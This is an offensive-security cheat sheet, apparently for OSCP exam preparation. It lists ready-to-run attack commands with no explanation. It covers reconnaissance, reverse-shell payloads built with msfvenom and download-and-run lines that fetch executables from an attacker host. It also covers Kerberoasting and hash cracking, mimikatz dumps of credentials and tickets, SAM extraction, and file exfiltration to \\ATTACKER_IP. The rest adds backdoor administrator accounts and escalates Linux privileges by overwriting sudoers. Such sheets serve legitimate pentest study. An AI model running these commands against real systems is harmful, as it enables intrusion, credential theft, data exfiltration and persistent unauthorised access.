oscp cheatsheet 🥷 ¶

Blackbox reconnaissance ¶

nmap -iL hosts.txt -p- -sVC -T5

sudo nmap <host> -sU -F


onesixtyone <TARGET> -c /usr/share/wordlists/snmp.txt
snmpwalk -v 1 -c public  <TARGET> NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public <TARGET> .1.3.6.1.4.1.8072.1.3.2

ldapsearch -x -H ldap://<TARGET> -s base namingcontexts

mssqlclient.py user:passwd@IP -windows-auth

• nuclei, ffuf
• anonymous ftp, ssh

wget -m <TARGET>/.git/ -R "index.html*"

RCE ¶

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f exe -o shell.exe

powershell.exe -c "whoami;shell2.exe"

iwr http://<HOST>:<PORT>/shell.exe -O shell.exe"
iwr http://<HOST>:<PORT>/shell.exe -O shell.exe -UseBasicParsing"

certutil -urlcache -split -f http://HOST:PORT/tool.exe tool.exe

Lateral movement ¶

psexec.py  <domain>/<user>:<password>@<IP> -hashes ":<NT hash>"
psexec.py <domain>/<user>:<password>@<IP>

evil-winrm -i <TARGET> -u <USER> -p <PASSWORD>

Machine/account reconnaissance ¶

whoami /user

netstat -ano | findstr LISTENING

tree /f /a
dir /s /a:h
dir C:\

whoami /priv

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Bloodhound collect:

bloodhound-ce-python -u <USER> -p <PASSWORD> -dc DC01.<DOMAIN> --dns-tcp -ns <DC_IP> -d <DOMAIN> --zip

powershell -ep bypass
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\user\Desktop\ -OutputPrefix "export"

Kerberoast (auth)

nxc ldap <TARGETS> -u <USER> -p <PASSWORD> --kerberoast hashes.kerberoast

hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule     

ASREPRoast:

# Unauthent
nxc ldap <TARGETS> -u users.txt -p '' --asreproast output.txt

# Authent
nxc ldap <TARGETS> -u <USER>  -p <PASSWORD> --asreproast hashes.asreproast

nxc ldap <TARGETS> -u <USER>  -p <PASSWORD> --asreproast hashes.asreproast --kdcHost domain_name

hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 

SAM:

C:\Windows\System32\config\SAM
icacls SAM

secretsdump.py -sam SAM -system SYSTEM LOCAL -outputfile secrets

Admin ¶

LSASS Dumping (admin):

mimikatz
$ privilege::debug
$ sekurlsa::logonpasswords

TGT Dumping (admin):

mimikatz
$ privilege::debug
$ sekurlsa::tickets /export

Compress-Archive -Path *.kirbi -DestinationPath tickets.zip

Crack NT-hash:

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Crack netNTLM chall response:

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

-> dcsync

-> when spreading with nxc --local-auth for local admin

awk -F: '$2 ~ /^\$/ {print $1":"$2}' /etc/shadow > hashes.txt hashcat -m 1800 hashes.txt rockyou.txt --username

Misc ¶

Exfiltration SMB:

smbserver.py myshare . -smb2support

copy C:\path\to\file.txt \\ATTACKER_IP\share\

Create local admin for RDP access:

net user <USERNAME> <PASSWORD> /add
net localgroup administrators <USERNAME> /add

Linux privsc ¶

uname -a
cat /etc/os-release

crontab -l

find / -perm -u=s -type f 2>/dev/null
sudo -l


su username
sudo su

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf


# from root file write
echo 'kali ALL=(root) NOPASSWD: ALL' > /etc/sudoers

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

# Within reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color

# Then CTRL+Z

# Then locally
stty raw -echo
fg


# To reset
reset